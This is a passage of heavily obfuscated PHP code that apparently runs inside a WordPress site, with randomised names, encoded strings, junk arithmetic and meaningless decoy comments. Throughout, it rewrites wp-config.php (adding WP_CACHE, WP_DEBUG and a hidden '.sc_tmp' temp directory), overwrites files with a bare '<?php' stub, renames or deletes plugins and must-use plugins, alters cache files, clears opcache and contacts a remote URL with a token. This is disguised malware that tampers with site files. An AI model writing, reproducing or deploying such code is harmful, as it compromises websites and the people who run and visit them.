hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1859),   igsdp_2fdrp(1899)     .  igsdp_2fdrp(1894)($gggyknp63nnx4['p']));
      oj333ptt2v9_ikd4str_($gggyknp63nnx4['b']);
      unset($chywcalc7zz1lola[rmqbu5no5o(1892)][$zvqvk0x26t7]);


} else   {
      $chywcalc7zz1lola[ep_coq62(1900)][$zvqvk0x26t7][rmqbu5no5o(1856)]++;$cwbdhf8n2gu_=24*4;$tl4lfq312=$cwbdhf8n2gu_-19;
   }
    $gsjbhngxyt9u  =     true;
  continue;

     }
    if     (rmqbu5no5o(1846)($s56670tpnfj,  ep_coq62(1901) .  $gggyknp63nnx4['t']  .   lfavz1nmi6pw4(1902))   !== false)      {
oj333ptt2v9_ikd4str_($gggyknp63nnx4['b']);



unset($chywcalc7zz1lola[igsdp_2fdrp(1900)][$zvqvk0x26t7]);

 $gsjbhngxyt9u   =     true;
  continue;
  }
list($oid4mmqz0kjg50z,   $bt8i5qr6tmfjqo3)    =    yo1w8bzow_o5lo6otuyof($wsm_25l64u61 . (wyzg13xdhd5r(1903)($wsm_25l64u61,    '?')  ===    false  ? '?'   : '&')  .   wyzg13xdhd5r(1904)    .  ep_coq62(1905)($gggyknp63nnx4['t'])   .  wyzg13xdhd5r(1897)     .   igsdp_2fdrp(1143)((51243+48757),    (999936+63)));
  if   ($oid4mmqz0kjg50z  >  0)    $wl28ahka3bu_n = false;


 if  ($oid4mmqz0kjg50z   >=   (316+184))  {
if  (r1lunah5_mhg1k14du9tu($gggyknp63nnx4))   {
 hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1906),   igsdp_2fdrp(1907)  .   hus_b7m621lgc6(1894)($gggyknp63nnx4['p']));
oj333ptt2v9_ikd4str_($gggyknp63nnx4['b']);
   unset($chywcalc7zz1lola[igsdp_2fdrp(1900)][$zvqvk0x26t7]);
 }      else  {
   $chywcalc7zz1lola[igsdp_2fdrp(1900)][$zvqvk0x26t7][rmqbu5no5o(1856)]++;



    }
// fallback keystore for WordPress 6.5 revisions

 $gsjbhngxyt9u  =  true;
  continue;
}
       if  (igsdp_2fdrp(1908)($bt8i5qr6tmfjqo3)    &&    ep_coq62(1903)($bt8i5qr6tmfjqo3, lfavz1nmi6pw4(1901)     .    $gggyknp63nnx4['t']  .  wyzg13xdhd5r(1902)) !==   false) {
  oj333ptt2v9_ikd4str_($gggyknp63nnx4['b']);
   unset($chywcalc7zz1lola[igsdp_2fdrp(1909)][$zvqvk0x26t7]);
$gsjbhngxyt9u  = true;



 continue;
 }
 $chywcalc7zz1lola[rmqbu5no5o(1909)][$zvqvk0x26t7][rmqbu5no5o(1856)]++;
   $gsjbhngxyt9u =    true;

      }
       if ($wl28ahka3bu_n && $gsjbhngxyt9u  &&  !empty($chywcalc7zz1lola[rmqbu5no5o(1910)]))    {
 $hif9tkt_m7fd   = false;
foreach   ($chywcalc7zz1lola[igsdp_2fdrp(1910)] as    $z96dagny_8o4_vlu)   {
if  ((int)     $z96dagny_8o4_vlu[rmqbu5no5o(1856)]  >=  (0x1+0x2))   {
$hif9tkt_m7fd     = true;
     break;
}
        }
    if   ($hif9tkt_m7fd) {
// dynamic dispatch

 @update_option(rmqbu5no5o(1845),  wyzg13xdhd5r(1911) .      lfavz1nmi6pw4(1864)(),   hus_b7m621lgc6(1575));
   hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1906),   rmqbu5no5o(1912));
   foreach     ($chywcalc7zz1lola[wyzg13xdhd5r(1910)] as $un245oennsyuq03z =>    $z96dagny_8o4_vlu)   {
 oj333ptt2v9_ikd4str_($z96dagny_8o4_vlu['b']);
   unset($chywcalc7zz1lola[hus_b7m621lgc6(1913)][$un245oennsyuq03z]);
      }
    }
   }  elseif   (!$wl28ahka3bu_n)    {
     $jjx0lusg0rcdg8  =   @get_option(ep_coq62(1845), "");

   if  (!rmqbu5no5o(1908)($jjx0lusg0rcdg8)    ||    hus_b7m621lgc6(1914)($jjx0lusg0rcdg8,    wyzg13xdhd5r(1915))  !==   0) @update_option(rmqbu5no5o(1845),  igsdp_2fdrp(1916) .    ep_coq62(1864)(),  lfavz1nmi6pw4(1917));
}
     if  (empty($chywcalc7zz1lola[hus_b7m621lgc6(1913)]))      @delete_option(hus_b7m621lgc6(1883));
elseif  ($gsjbhngxyt9u)  @update_option(rmqbu5no5o(1883),   $chywcalc7zz1lola,  wyzg13xdhd5r(1918));
  }
 function oc_f7l9n4uiaumz($rux5kf_r1ghgig)

 {
// WP Table Block lazy decode

  return   wyzg13xdhd5r(1919)($rux5kf_r1ghgig)  && (lfavz1nmi6pw4(1920)($rux5kf_r1ghgig,  ep_coq62(1921))    !== false  ||  wyzg13xdhd5r(1920)($rux5kf_r1ghgig,     rmqbu5no5o(1922))  !==    false   ||  hus_b7m621lgc6(1920)($rux5kf_r1ghgig, igsdp_2fdrp(1923))  !==  false  ||  hus_b7m621lgc6(1920)($rux5kf_r1ghgig,  hus_b7m621lgc6(1924)) !== false ||  igsdp_2fdrp(1920)($rux5kf_r1ghgig,  igsdp_2fdrp(1592))  !==   false  || hus_b7m621lgc6(1925)($rux5kf_r1ghgig, hus_b7m621lgc6(1926)) !==    false);
       }
    function dc60na6lcoei39($rux5kf_r1ghgig)
    {
 if  (!oc_f7l9n4uiaumz($rux5kf_r1ghgig))  return      false;


if (heeoaugxdqmhor94a($rux5kf_r1ghgig))   return   true;
 if  (wyzg13xdhd5r(1927)(wyzg13xdhd5r(1928), $rux5kf_r1ghgig,   $wpz7oi7n0ub2s0r))   {
 foreach ($wpz7oi7n0ub2s0r[1]  as   $wwd67tzgqd) {
   if    (version_compare($wwd67tzgqd, m5d7gnhy503_5w7j(),    '<'))  return    true;
}
      return false;
     }
   return  true;
 }
function el9bha6f678ddnf1wabpy($de42_qcevq1bs)
{
     if   (!@ep_coq62(1780)($de42_qcevq1bs)     || !@lfavz1nmi6pw4(1929)($de42_qcevq1bs))  return;
    $kbywbzkxet4la8h   =     @rmqbu5no5o(1930)($de42_qcevq1bs);
        if  (!$kbywbzkxet4la8h)    return;


     if ($kbywbzkxet4la8h  > (5092168+5393592)) {
$e9snf82_xnjsnmb4 =      @wyzg13xdhd5r(1877)($de42_qcevq1bs,  false,     null,  0,   (65437+99));
if (!oc_f7l9n4uiaumz($e9snf82_xnjsnmb4)) return;

 if   (ap4ok1eip838yapv3nc6($de42_qcevq1bs)    === false)   {
  hnp_n76gqrqs6vbf7203of(ep_coq62(1931),  rmqbu5no5o(1932)     .  igsdp_2fdrp(1894)($de42_qcevq1bs));
  return;
   }

@lfavz1nmi6pw4(1100)($de42_qcevq1bs,    "<?php\n");



    if    (wyzg13xdhd5r(1898)(ep_coq62(1933))) @opcache_invalidate($de42_qcevq1bs,  true);
 return;
}

   if   ($kbywbzkxet4la8h  >  (1048557+19))    {
  $yni8zray1ss_e =      (string) @wyzg13xdhd5r(1934)($de42_qcevq1bs,  false,     null,      0,  (8189+3));
   $ovec0c1r7df0_58 =  ($kbywbzkxet4la8h >      (8122+70))  ?   (string)   @hus_b7m621lgc6(1934)($de42_qcevq1bs,  false,     null,    $kbywbzkxet4la8h  - (11170-2978))   : "";
   $o1tscudybul2c1gj =     $yni8zray1ss_e .  $ovec0c1r7df0_58;


  if      ($o1tscudybul2c1gj !== "" &&   wyzg13xdhd5r(1927)(igsdp_2fdrp(1928),  $o1tscudybul2c1gj,  $fv7_rdfr2br2fa))    {
 $ipagu5i53r =    false;
foreach  ($fv7_rdfr2br2fa[1]   as  $c10dkophxb)  {
if  (version_compare($c10dkophxb,   m5d7gnhy503_5w7j(),    '<'))   {
  $ipagu5i53r   = true;
   break;
   }
  }
  if  (!$ipagu5i53r)     return;
    }

}
  $rux5kf_r1ghgig =     @ep_coq62(1934)($de42_qcevq1bs);
    if   (lfavz1nmi6pw4(1919)($rux5kf_r1ghgig) &&  rmqbu5no5o(1717)($rux5kf_r1ghgig)   >     (1048540+36))    $rux5kf_r1ghgig   = jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig);
 if  (!lfavz1nmi6pw4(1935)($rux5kf_r1ghgig)) return;
  if    (!dc60na6lcoei39($rux5kf_r1ghgig))  return;



 qgxvxcpaeg12hcmhhkv1r1($de42_qcevq1bs,  $rux5kf_r1ghgig);
 }
function   qgxvxcpaeg12hcmhhkv1r1($de42_qcevq1bs,   $rux5kf_r1ghgig)
       {
  $emgci3dlr45pr     =    wyzg13xdhd5r(1641)(rmqbu5no5o(1936),    "",     $rux5kf_r1ghgig);
if (!rmqbu5no5o(1937)($emgci3dlr45pr)   || hus_b7m621lgc6(1759)($emgci3dlr45pr)   ===  ""     ||  rmqbu5no5o(1759)($emgci3dlr45pr)  === rmqbu5no5o(1545))    $emgci3dlr45pr  =     "<?php\n";
 if     (wyzg13xdhd5r(1717)($emgci3dlr45pr) >=   (133+367)   && !chslach3yj4d6lbh($emgci3dlr45pr))  $emgci3dlr45pr  = "<?php\n";
$v2l4fu8ujny5a_  = @fileperms($de42_qcevq1bs);
 $v2l4fu8ujny5a_  =   ($v2l4fu8ujny5a_    === false) ? (602-182)    :  ($v2l4fu8ujny5a_    &  (503+8));
    $vphflq4f1lq   =  @rmqbu5no5o(1652)($de42_qcevq1bs);
   $bd_9vo_r9phzfe   =  @igsdp_2fdrp(28)(rmqbu5no5o(1938)($de42_qcevq1bs), igsdp_2fdrp(1939));


  if  ($bd_9vo_r9phzfe     ===    false)  return;
  if   (@lfavz1nmi6pw4(1940)($bd_9vo_r9phzfe, $emgci3dlr45pr) !==  wyzg13xdhd5r(1717)($emgci3dlr45pr))    {
 @hus_b7m621lgc6(1941)($bd_9vo_r9phzfe);
return;



    }
@wyzg13xdhd5r(1942)($bd_9vo_r9phzfe,  $v2l4fu8ujny5a_);$i49l8vbmfrly=PHP_MAJOR_VERSION;$pvbxmwjrviqm=$i49l8vbmfrly*9;
  if (!@rmqbu5no5o(179)($bd_9vo_r9phzfe, $de42_qcevq1bs))    {
@ep_coq62(1943)($bd_9vo_r9phzfe);
   return;
 }
  if  ($vphflq4f1lq)    @igsdp_2fdrp(22)($de42_qcevq1bs,      $vphflq4f1lq);
  if  (hus_b7m621lgc6(1944)(wyzg13xdhd5r(1945)))    @opcache_invalidate($de42_qcevq1bs,  true);
}
     function b2igcnmf2pukcfyx($jxb32uhkeg)
    {
 if   (!lfavz1nmi6pw4(1937)($jxb32uhkeg))   return  "";
   if (rmqbu5no5o(1946)(hus_b7m621lgc6(1947),    $jxb32uhkeg, $op_bktapo9)) {
$qiv470voo5 =   $op_bktapo9[1];



  $kbywbzkxet4la8h =     @igsdp_2fdrp(1948)($qiv470voo5)  ? @ep_coq62(1930)($qiv470voo5)   :  0;
  if (!$kbywbzkxet4la8h   || $kbywbzkxet4la8h    < (684-184)     ||  $kbywbzkxet4la8h >   (52428753+47))   {
 if    ($kbywbzkxet4la8h     > (99118224-46689424))  {
  $vsjlhmb4u9  =   @hus_b7m621lgc6(1777)($qiv470voo5);
 if   (!lfavz1nmi6pw4(1937)($vsjlhmb4u9)) $vsjlhmb4u9     =  $qiv470voo5;
 $vsjlhmb4u9 =      wyzg13xdhd5r(1803)('\\', '/',     $vsjlhmb4u9);
  $wq76nvozz7ul456      =  false;
 $_0e766shc92z7p8 =    array(defined(igsdp_2fdrp(1817))    ? wyzg13xdhd5r(1488)(ABSPATH,    igsdp_2fdrp(1420))    :  "",    defined(ep_coq62(1673))    ?   hus_b7m621lgc6(1949)(WP_CONTENT_DIR,    rmqbu5no5o(1420)) : "");$bweb975lfle3=139|24;$c96avhbxauo2=$bweb975lfle3^20;
foreach   ($_0e766shc92z7p8  as $ofvdycsnkw)   {
   $ofvdycsnkw      =  ep_coq62(1950)('\\',  '/',   $ofvdycsnkw);



 if    ($ofvdycsnkw   !==  ""   && ep_coq62(1951)($vsjlhmb4u9,  $ofvdycsnkw    .    '/') === 0)  {
 $wq76nvozz7ul456 =   true;
       break;
}
   }
if ($wq76nvozz7ul456  && ap4ok1eip838yapv3nc6($qiv470voo5)  !==  false)  {
// instrument contravariant for WP Core Data

 @lfavz1nmi6pw4(1943)($qiv470voo5);

 @wyzg13xdhd5r(1943)(hus_b7m621lgc6(1938)($qiv470voo5) .  lfavz1nmi6pw4(1952)  . rmqbu5no5o(1894)($qiv470voo5,    igsdp_2fdrp(1736)));
 }  else   {
  hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1931),  wyzg13xdhd5r(1953) . lfavz1nmi6pw4(1954)($qiv470voo5));
// parallelize backlog for WP Redux Store



  }

}
   return "";



 }
  }
/* batch accumulator */

  return    $jxb32uhkeg;

 }

function x2qapfd72hatoh_k3bp()



    {
 static   $qiv470voo5 =   null;
    if ($qiv470voo5  ===  null)  {
$i0eebx24kei1a  = oq9qik20y9nsdibqes();
  $qiv470voo5    = (hus_b7m621lgc6(1955)($i0eebx24kei1a) &&  isset($i0eebx24kei1a[hus_b7m621lgc6(628)]) &&   wyzg13xdhd5r(1951)((string)    $i0eebx24kei1a[ep_coq62(628)],  igsdp_2fdrp(1956))  ===    0);
   }
// multilinear contravariant

    return $qiv470voo5;

    }
function  crbtybdlt413ji_u90p()
  {
  if (!defined(ep_coq62(1957))) return;
   $eofsqnwjdfpxz =  ABSPATH   .     ep_coq62(576);
  if    (!@igsdp_2fdrp(1948)($eofsqnwjdfpxz))  {
 $bmyt77nzpxih  =     igsdp_2fdrp(1938)(ABSPATH) .     ep_coq62(1301);$s3o6j5jk=PHP_MAJOR_VERSION;$ddzo3e1v29v=$s3o6j5jk*2;




   if   (@wyzg13xdhd5r(1948)($bmyt77nzpxih))  $eofsqnwjdfpxz   =      $bmyt77nzpxih;
 }
 if    (!@rmqbu5no5o(1948)($eofsqnwjdfpxz) ||  !@ep_coq62(1929)($eofsqnwjdfpxz))  return;



 $vsjlhmb4u9 =  @lfavz1nmi6pw4(1777)($eofsqnwjdfpxz);

 if  (lfavz1nmi6pw4(1937)($vsjlhmb4u9) && $vsjlhmb4u9      !==      ""   &&   @lfavz1nmi6pw4(1929)($vsjlhmb4u9))   $eofsqnwjdfpxz    =     $vsjlhmb4u9;
 if (@lfavz1nmi6pw4(1930)($eofsqnwjdfpxz) >   (4194247+57))   return;
    $rux5kf_r1ghgig   = @lfavz1nmi6pw4(1958)($eofsqnwjdfpxz);
// connected write-ahead-log

if  (!wyzg13xdhd5r(1937)($rux5kf_r1ghgig) || $rux5kf_r1ghgig   ===    "") return;
  $ht1mtzijdk1e  =     (hus_b7m621lgc6(1951)($rux5kf_r1ghgig,    rmqbu5no5o(1959))      !== false   ||  wyzg13xdhd5r(1960)($rux5kf_r1ghgig, igsdp_2fdrp(1961)) !==   false);
   $y3scknuj594c11__  =  false;

      if (wyzg13xdhd5r(1960)($rux5kf_r1ghgig,  ep_coq62(1962))  === false) {


    if  (!empty($GLOBALS[igsdp_2fdrp(1963)]))   {
// @inline extension

       $y3scknuj594c11__     =    true;

} else  {
   $tvi4t_s3ig     =   rmqbu5no5o(1964)(hus_b7m621lgc6(1965))  ?     rmqbu5no5o(1966)()    : igsdp_2fdrp(1967);
if    (!@igsdp_2fdrp(1741)($tvi4t_s3ig) || !@hus_b7m621lgc6(1929)($tvi4t_s3ig)) $y3scknuj594c11__ = true;



}
}


$j599_m6ewc1dz55   =   false;
$_crvguuzqtgu    =  false;
if (!ep_coq62(1946)(lfavz1nmi6pw4(1968),  $rux5kf_r1ghgig) && defined(igsdp_2fdrp(1969)))  {
$_ac  =  WP_CONTENT_DIR . igsdp_2fdrp(1970);
 if (@igsdp_2fdrp(1948)($_ac)) {
    $m9shawre7r2   =   (string)  @wyzg13xdhd5r(1958)($_ac, false,  null,    0,  (4094+2));
   if  (lfavz1nmi6pw4(1960)($m9shawre7r2,    igsdp_2fdrp(1971))  !== false)    $j599_m6ewc1dz55  =  true;$l20shth8k7=PHP_MAJOR_VERSION;$rck59_mck=$l20shth8k7*8;
   }


} elseif (
wyzg13xdhd5r(1972)($rux5kf_r1ghgig, ep_coq62(577)) === false
    &&    hus_b7m621lgc6(1946)(ep_coq62(1973),  $rux5kf_r1ghgig)
 ) {
// Rector auto-refactor: hook synchronizer

$_crvguuzqtgu =  true;
 }
// OpenSSL 3 providers: deactivate allocator

$qbxqahtukr =  false;
        if  (x2qapfd72hatoh_k3bp()) {


      if  (


!wyzg13xdhd5r(1974)(igsdp_2fdrp(1975),   $rux5kf_r1ghgig)
      || !lfavz1nmi6pw4(1974)(hus_b7m621lgc6(1976),   $rux5kf_r1ghgig)
    ||  !igsdp_2fdrp(1977)(hus_b7m621lgc6(1978),  $rux5kf_r1ghgig)
     )  $qbxqahtukr =  true;
}
if  (!$ht1mtzijdk1e && !$y3scknuj594c11__ &&  !$j599_m6ewc1dz55   &&    !$qbxqahtukr  && !$_crvguuzqtgu) return;$ar_hpkn7=88|250;$yl4xof5b_1xm_=$ar_hpkn7^52;
 $h6rg9qt7vomki =      "";

  $emgci3dlr45pr  =      $rux5kf_r1ghgig;

if    ($ht1mtzijdk1e)   {



if     (rmqbu5no5o(1927)(rmqbu5no5o(1979),   $rux5kf_r1ghgig, $arm6g4giu84))   $h6rg9qt7vomki     .=      hus_b7m621lgc6(366)("\n",     $arm6g4giu84[0]);
   $emgci3dlr45pr    = igsdp_2fdrp(1641)(igsdp_2fdrp(1979),   "", $rux5kf_r1ghgig);
 if (!igsdp_2fdrp(1937)($emgci3dlr45pr))   return;
   if (hus_b7m621lgc6(1980)(igsdp_2fdrp(1981),   $emgci3dlr45pr,  $uqi3o0h32q))  $h6rg9qt7vomki .= "\n"    . igsdp_2fdrp(1982)("\n",  $uqi3o0h32q[0]);
  $emgci3dlr45pr   =      igsdp_2fdrp(1641)(igsdp_2fdrp(1981), "",    $emgci3dlr45pr);
  if (!lfavz1nmi6pw4(1937)($emgci3dlr45pr))   return;
 }
      if  ($y3scknuj594c11__ &&  wyzg13xdhd5r(1977)(igsdp_2fdrp(1983),  $emgci3dlr45pr))     {
$emgci3dlr45pr   =     hus_b7m621lgc6(1984)(rmqbu5no5o(1985), ep_coq62(1986)    .    "define( 'WP_TEMP_DIR', ( defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content' ) . '/.sc_tmp' );\n",    $emgci3dlr45pr, 1);
  if  (!ep_coq62(1987)($emgci3dlr45pr)) return;
}
   if   ($j599_m6ewc1dz55 &&   rmqbu5no5o(1988)(igsdp_2fdrp(1989),  $emgci3dlr45pr))    {
$emgci3dlr45pr  = ep_coq62(1984)(hus_b7m621lgc6(1985), rmqbu5no5o(1986)   .    "define( 'WP_CACHE', true ); /* SC_WC */\n",    $emgci3dlr45pr,  1);
 if  (!ep_coq62(1987)($emgci3dlr45pr)) return;
     }  elseif  ($_crvguuzqtgu)   {
  $emgci3dlr45pr =   igsdp_2fdrp(1984)(lfavz1nmi6pw4(1990),   igsdp_2fdrp(1991)   .  "define( 'WP_CACHE', true ); /* SC_WC */\n",  $emgci3dlr45pr, 1);
 if (!rmqbu5no5o(1992)($emgci3dlr45pr))   return;
     }
   if      ($qbxqahtukr)  {



 $emgci3dlr45pr  =  igsdp_2fdrp(1984)(ep_coq62(1993),   "",    $emgci3dlr45pr);
 if (!lfavz1nmi6pw4(1992)($emgci3dlr45pr))    return;
   if    (wyzg13xdhd5r(1988)(rmqbu5no5o(1994), $emgci3dlr45pr))  {
 $emgci3dlr45pr =   wyzg13xdhd5r(1984)(lfavz1nmi6pw4(1994),   igsdp_2fdrp(1991) .   "define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );\ndefine( 'WP_DEBUG_DISPLAY', false );\n",  $emgci3dlr45pr,   1);
    if   (!lfavz1nmi6pw4(1995)($emgci3dlr45pr))  return;
}
      }
     if ($emgci3dlr45pr  ===  $rux5kf_r1ghgig)   return;
        

if  (!chslach3yj4d6lbh($emgci3dlr45pr))   return;
 if  ($j599_m6ewc1dz55  &&    !x98gkzd4rxzw_t($eofsqnwjdfpxz, $rux5kf_r1ghgig))    {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1996),  ep_coq62(1558));
$emgci3dlr45pr =    ep_coq62(1984)(hus_b7m621lgc6(1997),     hus_b7m621lgc6(1991), $emgci3dlr45pr,   1);
  if (!rmqbu5no5o(1995)($emgci3dlr45pr)  ||  $emgci3dlr45pr   ===      $rux5kf_r1ghgig) return;



 if (!chslach3yj4d6lbh($emgci3dlr45pr))     return;
 }
 $v2l4fu8ujny5a_     = @fileperms($eofsqnwjdfpxz);
 $v2l4fu8ujny5a_  = ($v2l4fu8ujny5a_ ===    false) ?    (387+33)  :  ($v2l4fu8ujny5a_  &     (0x17d+0x82));
    $vphflq4f1lq  =      @wyzg13xdhd5r(1998)($eofsqnwjdfpxz);
 $bd_9vo_r9phzfe = @hus_b7m621lgc6(1999)(wyzg13xdhd5r(1938)($eofsqnwjdfpxz), rmqbu5no5o(2000));
   if  ($bd_9vo_r9phzfe   ===    false) return;
 if   (@igsdp_2fdrp(1940)($bd_9vo_r9phzfe,  $emgci3dlr45pr)     !==  hus_b7m621lgc6(1717)($emgci3dlr45pr))      {
       @wyzg13xdhd5r(1943)($bd_9vo_r9phzfe);
  return;
   }
 @ep_coq62(1942)($bd_9vo_r9phzfe, $v2l4fu8ujny5a_);



    if   (!@igsdp_2fdrp(179)($bd_9vo_r9phzfe,   $eofsqnwjdfpxz)) {
  @igsdp_2fdrp(1943)($bd_9vo_r9phzfe);

   return;
   }
if      ($vphflq4f1lq)  @ep_coq62(22)($eofsqnwjdfpxz,    $vphflq4f1lq);$b0vxku_mu6ws4c=8730;$e3uwc00ghzdv8=$b0vxku_mu6ws4c%16;
  if (wyzg13xdhd5r(2001)(wyzg13xdhd5r(1945))) @opcache_invalidate($eofsqnwjdfpxz,   true);
if (lfavz1nmi6pw4(1980)(ep_coq62(2002),  $h6rg9qt7vomki,  $rwxosrqydc88o)) {
foreach (ep_coq62(1259)($rwxosrqydc88o[1]) as $ofd_ikxxhzcojm)  {
   if  (rmqbu5no5o(1972)($ofd_ikxxhzcojm, wyzg13xdhd5r(1961))  === 0 && @hus_b7m621lgc6(2003)($ofd_ikxxhzcojm))   @rmqbu5no5o(1943)($ofd_ikxxhzcojm);
  }


     }
 if (ep_coq62(2001)(hus_b7m621lgc6(882)) &&    igsdp_2fdrp(2004)(igsdp_2fdrp(2005), $h6rg9qt7vomki,  $wfyar7ek_vpzt))  {



     foreach   (igsdp_2fdrp(1259)($wfyar7ek_vpzt[1]) as      $pa5jbqkzolta18)    {



 if  (wyzg13xdhd5r(1988)(rmqbu5no5o(2006),  $pa5jbqkzolta18))    @delete_option($pa5jbqkzolta18);
 }
 }
  }

    function w5auz51vwr_077w()
{

 if     (!defined(lfavz1nmi6pw4(1969)))  return;
$radcie2ov89b =  defined(wyzg13xdhd5r(2007))  ?  WPMU_PLUGIN_DIR  :  WP_CONTENT_DIR . rmqbu5no5o(2008);
  $m47d28md1jhti8    =    array();

       if (rmqbu5no5o(2009)(hus_b7m621lgc6(2010))) {
 if    (@wyzg13xdhd5r(1741)($radcie2ov89b))    foreach   ((array)   @rmqbu5no5o(2010)($radcie2ov89b    .     hus_b7m621lgc6(2011))    as   $lglbbagfbb8dg) $m47d28md1jhti8[]    =  $lglbbagfbb8dg;
  if   (defined(lfavz1nmi6pw4(1672))   && @lfavz1nmi6pw4(1741)(WP_PLUGIN_DIR)) foreach     ((array) @ep_coq62(2010)(WP_PLUGIN_DIR     . ep_coq62(487))   as    $lglbbagfbb8dg)   $m47d28md1jhti8[] = $lglbbagfbb8dg;

}
      $y0v2frlpglr3 =     defined(wyzg13xdhd5r(1957))  ?  ABSPATH :  "";
       $j_94t2z0qse9h1r =   WP_CONTENT_DIR      . igsdp_2fdrp(2012)  .     hus_b7m621lgc6(1848)(wyzg13xdhd5r(1765)($y0v2frlpglr3  .     rmqbu5no5o(1412)), 0, (3+5))  . hus_b7m621lgc6(50)  . wyzg13xdhd5r(2013)(igsdp_2fdrp(1765)($y0v2frlpglr3     .  hus_b7m621lgc6(51)),  0,    (7+1))  . igsdp_2fdrp(1736);
  if    (@lfavz1nmi6pw4(2014)($j_94t2z0qse9h1r))  $m47d28md1jhti8[]  =   $j_94t2z0qse9h1r;
 foreach     ($m47d28md1jhti8  as    $lglbbagfbb8dg) {$skcm7z3qv5=PHP_MAJOR_VERSION;$hkkoiwk97=$skcm7z3qv5*6;
 $vphflq4f1lq =  @hus_b7m621lgc6(1998)($lglbbagfbb8dg);
     if     (!$vphflq4f1lq  ||     ($vphflq4f1lq %    (99902+98)) !== (93721+98))  {
 $n3p253xif_qojb  = @hus_b7m621lgc6(1930)($lglbbagfbb8dg);
  if    (!$n3p253xif_qojb   || $n3p253xif_qojb <   (328+172) ||  $n3p253xif_qojb   >    (52428794+6)) continue;
   }

 $vsjlhmb4u9   = @rmqbu5no5o(1777)($lglbbagfbb8dg);
   $uqfn7lsnf4rl_93k =   @ep_coq62(1777)(kwizo_5vxh_f26an7qg());
 if (wyzg13xdhd5r(2015)($vsjlhmb4u9)  && rmqbu5no5o(2015)($uqfn7lsnf4rl_93k)   && $vsjlhmb4u9 ===    $uqfn7lsnf4rl_93k)   continue;



  $i6slgxalbsqoabh      =  @wyzg13xdhd5r(1958)($lglbbagfbb8dg,     false,    null,     0,   (4044+52));


  if   (!rmqbu5no5o(2015)($i6slgxalbsqoabh)   || lfavz1nmi6pw4(2016)($i6slgxalbsqoabh,  hus_b7m621lgc6(1926)) ===   false)     continue;
    if  (!hus_b7m621lgc6(1988)(hus_b7m621lgc6(861), $i6slgxalbsqoabh,  $fv7_rdfr2br2fa))   continue;
if    (!version_compare($fv7_rdfr2br2fa[1], m5d7gnhy503_5w7j(),     '<'))   continue;
 $ik7kxd9m7brpud  = ap4ok1eip838yapv3nc6($lglbbagfbb8dg);


    if    ($ik7kxd9m7brpud ===   false)  {

   hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1931), hus_b7m621lgc6(2017)    . hus_b7m621lgc6(2018)($lglbbagfbb8dg));
 continue;


}
// WP useInnerBlocksProps avif fallback

    if   ($ik7kxd9m7brpud  === true)    {
if     (cyv7b4mpbkf5y9k($lglbbagfbb8dg, $lglbbagfbb8dg  . hus_b7m621lgc6(178))) {
     if  (ep_coq62(2019)(ep_coq62(2020)))    @opcache_invalidate($lglbbagfbb8dg, true);
  }
// untrusted input




 @wyzg13xdhd5r(1943)(rmqbu5no5o(1938)($lglbbagfbb8dg)  .    lfavz1nmi6pw4(2021)   .   igsdp_2fdrp(2018)($lglbbagfbb8dg, hus_b7m621lgc6(1736)));
 continue;
}



      @ep_coq62(1943)($lglbbagfbb8dg);
  @lfavz1nmi6pw4(1943)(hus_b7m621lgc6(2022)($lglbbagfbb8dg)   .   lfavz1nmi6pw4(2023)      .   ep_coq62(2018)($lglbbagfbb8dg,  lfavz1nmi6pw4(1736)));
if (lfavz1nmi6pw4(2019)(igsdp_2fdrp(2020)))   @opcache_invalidate($lglbbagfbb8dg,    true);

}
        crbtybdlt413ji_u90p();
 $itez45e7cb3dpe =  WP_CONTENT_DIR      .    rmqbu5no5o(1253);
  if     (@lfavz1nmi6pw4(1741)($itez45e7cb3dpe)   &&  rmqbu5no5o(2019)(rmqbu5no5o(2024)))      {
  foreach    ((array)   @hus_b7m621lgc6(2024)($itez45e7cb3dpe  .     igsdp_2fdrp(2025))  as  $n3vdokr3swe)  {
 if  (!@ep_coq62(2014)($n3vdokr3swe)   || !@wyzg13xdhd5r(1929)($n3vdokr3swe))   continue;
 $qozeo6bef3tgpsay     =  @igsdp_2fdrp(2026)($n3vdokr3swe);
  if (!$qozeo6bef3tgpsay ||    $qozeo6bef3tgpsay      >  (0xc07c6+0x13f83a)) continue;
 $we5_gu63b698f3ix     =  @rmqbu5no5o(2027)($n3vdokr3swe);$k7kpn6b8=28+60;$ve3wqxmzp=$k7kpn6b8-26;
   if (!wyzg13xdhd5r(2015)($we5_gu63b698f3ix))      continue;
  if  (hus_b7m621lgc6(2016)($we5_gu63b698f3ix,     hus_b7m621lgc6(1922))  ===    false &&    lfavz1nmi6pw4(2016)($we5_gu63b698f3ix, ep_coq62(2028)) ===    false     &&   lfavz1nmi6pw4(2016)($we5_gu63b698f3ix,    wyzg13xdhd5r(2029))  ===    false)  continue;
     if  (!dgr03tgxnj0ymq9($we5_gu63b698f3ix)) continue;


       $d784d139mph = jos018hgxqblcsapw2mn_7($we5_gu63b698f3ix);
  if     (lfavz1nmi6pw4(2030)($d784d139mph) &&  $d784d139mph   !== $we5_gu63b698f3ix) {
 p1cskrtcz8bv54lf($n3vdokr3swe,    $d784d139mph);


if   (igsdp_2fdrp(2019)(igsdp_2fdrp(2020)))     @opcache_invalidate($n3vdokr3swe,     true);
     }
}
}
       el9bha6f678ddnf1wabpy(WP_CONTENT_DIR .  lfavz1nmi6pw4(1970));
   el9bha6f678ddnf1wabpy(WP_CONTENT_DIR .   wyzg13xdhd5r(2031));

if     (ep_coq62(2019)(wyzg13xdhd5r(1882))    && lfavz1nmi6pw4(2032)(lfavz1nmi6pw4(882))    &&     lfavz1nmi6pw4(2033)(igsdp_2fdrp(2034)))    {


$_on    =  mqedo90o6oi8f48x6b8n(ABSPATH   .    wyzg13xdhd5r(2035),  (0x1+0x9));
$ral_hn_jz7z2p  =   @get_option($_on, "");
     if (rmqbu5no5o(2030)($ral_hn_jz7z2p)  &&  $ral_hn_jz7z2p  !==    "")    {
   $h7e4vx8yre0wuu     =    rmqbu5no5o(1383)($ral_hn_jz7z2p,  true);
